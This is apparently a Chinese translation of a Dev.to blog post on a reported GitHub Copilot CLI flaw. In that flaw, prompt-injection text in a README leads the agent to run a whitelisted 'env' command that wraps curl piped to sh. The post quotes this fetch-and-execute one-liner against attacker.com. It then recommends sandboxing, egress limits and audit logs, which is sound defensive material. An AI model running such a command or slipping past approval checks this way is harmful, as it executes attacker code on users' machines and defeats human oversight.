GitHub Copilot CLI 在未获批准的情况下执行恶意软件。你的 CI/CD 流水线本可以捕获它。

发布: (2026年2月28日 GMT+8 17:43)
9 分钟阅读
原文: Dev.to

Source: Dev.to

GitHub Copilot CLI 在正式发布两天后,PromptArmor 的研究人员发布了一个绕过方法:一个精心构造的 env curl 命令绕过验证器,从攻击者的 URL 下载负载,并将其通过管道传递给 sh。没有确认对话框。没有批准。所谓的“human‑in‑the‑loop”安全网?完全被规避。

GitHub 的回应: “a known issue that does not present a significant security risk.”

让我们稍作思考。

🎯 30秒内的攻击

Copilot CLI 有一个 只读命令白名单——比如 env 之类的命令会在未获得用户批准的情况下自动执行。技巧在于将恶意命令隐藏为白名单命令的参数:

env curl -s "https://attacker.com/payload" | env sh

因为 curlsh 作为 env(已在白名单中)的参数出现,验证器不会标记它们。外部 URL 检查——仅检查顶层命令是否为 curlwget——因此永远不会触发。有效载荷会悄悄下载并执行。

注意: 这并非理论上的攻击。它对任何带有被投毒的 README 的克隆仓库都有效。提示注入存在于 markdown 中。当你向 Copilot 提问关于代码库的问题时,它会读取 README,注入的指令就会触发恶意命令。

📊 这不是孤立的事件

事件发生了什么根本原因
Copilot CLI 恶意软件(2026年2月)通过 env 白名单绕过了 HITL基于正则的验证器,未使用沙箱
Replit Agent 截断了生产数据库Agent 对实时数据执行了 TRUNCATE没有执行约束
AI 代码审查员 5‑10 % 信号团队禁用了 AI 审查员审查输出没有质量门控
67 % 开发者调试 AI 代码更多(Harness 2025 调查)缺乏自动化验证

这种模式每次都是一样的:我们信任基于文本的安全检查,而不是构建真实的验证层。

💡 为什么 “Human‑in‑the‑Loop” 仍不足

Copilot CLI 漏洞暴露了我们在思考 AI 编码安全时的一个根本设计缺陷。其假设是:

“如果我们向用户显示确认对话框,他们就会捕捉到危险指令。”

对这一假设的三个问题:

  1. 验证器可以被绕过。 env 技巧花了研究人员数小时才发现。以后还会有更多。基于正则表达式的指令检测本质上脆弱——表达一个 shell 指令的方式是无限的。
  2. 人类会产生习惯化。 在批准了数十个合法指令后,用户会停止阅读它们。这就是经典的“警报疲劳”问题,医疗行业在几十年前已经解决。我们正在 AI 领域重新经历它。
  3. 攻击面是上下文窗口。 恶意指令并非由用户直接输入,而是隐藏在 README 文件中。AI 读取的任何数据——网页搜索结果、工具响应、文件内容——都可能携带注入。你不可能对 AI 消费的每一条输入都进行 HITL 审核。

🔖 实际有效的做法:CI/CD 安全网

不舒服的真相:解决方案并不是更好的验证器,而是 把 AI 生成的命令像对待 AI 生成的代码一样——在它们进入生产环境前先经过流水线处理

“在代理模式下的幻觉并不是问题——构建/运行循环会捕获它。” — tptacek,安全研究员

推荐的控制措施

控制措施为什么有帮助
沙箱执行将每个 AI 建议的命令都放在一次性容器中运行。如果 env curl attacker.com | env sh 在沙箱里执行,负载会被限制在容器内,容器随后被销毁。
网络出口策略在容器层面阻断出站流量,仅白名单必需的域名。这可以拦截 env curlpython -c "import urllib" 以及任何创意绕过手段。
命令审计日志记录 AI 执行的每条命令以及触发上下文(读取的文件、提示、输出)。当出现问题时,你需要取证,而不是“我们觉得它可能运行了某些东西”。
自动回滚将 Git 当作“游戏存档点”(正如 Addy Osmani 所说)。在任何 AI 会话前对仓库做快照;如果出现可疑输出,执行 git reset --hard 并进行调查。

🧩 The Bigger Picture

METR 研究显示,开发者认为 AI 能让他们快 24 %,但实际却慢了 19 %。Copilot CLI 利用展示了安全领域的同样模式:我们觉得安全,因为有确认对话框,但实际的安全是一种幻觉。

StrongDM 的 “Dark Factory” 方法指向了答案:

“没有人审查 AI 生成的代码。所有投资都投入到测试、工具、模拟中。”

代码 换成 命令,你就得到了 AI CLI 工具的正确架构:

  • 不要信任验证器 → 对所有内容进行沙箱化
  • 不要信任人类 → 他们会在不阅读的情况下点击 “批准”
  • 信任流水线 → 无法被社会工程攻击的自动化检查

投资应从“构建更好的批准对话框”转向“构建更好的遏制措施”。AI 代理将变得更强大,攻击将更具创造性,只有基础设施能够随之扩展。

这对你的环境意味着什么

如果你在使用 AI 编码代理(Copilot、Claude Code、Cursor,或其他任何工具):

  1. 在容器中运行。 Docker、devcontainers 或任何一次性环境。绝不要让 AI 直接访问宿主机。
  2. 锁定网络。 如果任务不需要互联网,就切断它的网络连接。
  3. 对所有内容进行版本控制。 在每次 AI 会话前提交代码,使回滚变得轻而易举。
  4. 监控输入,而不仅是输出。 Copilot 的漏洞是通过 README 进入的。你的 AI 会读取文件、终端输出、网页搜索——这些任何一个都可能携带注入。

Copilot CLI 漏洞不仅仅是一个需要修补的 bug。它预示着在我们扩展 AI 代理能力而未同步扩展验证基础设施时会出现的风险。

P.S. 如果你正在配置 AI 编码工具,并希望对配置文件的内容采用结构化方法,我整理了一套 AI Skill Files

x) — reusable workflow templates that work across tools.
0 浏览
Back to Blog

相关文章

阅读更多 »

当工作成为心理健康风险时

markdown !Ravi Mishrahttps://media2.dev.to/dynamic/image/width=50,height=50,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fu...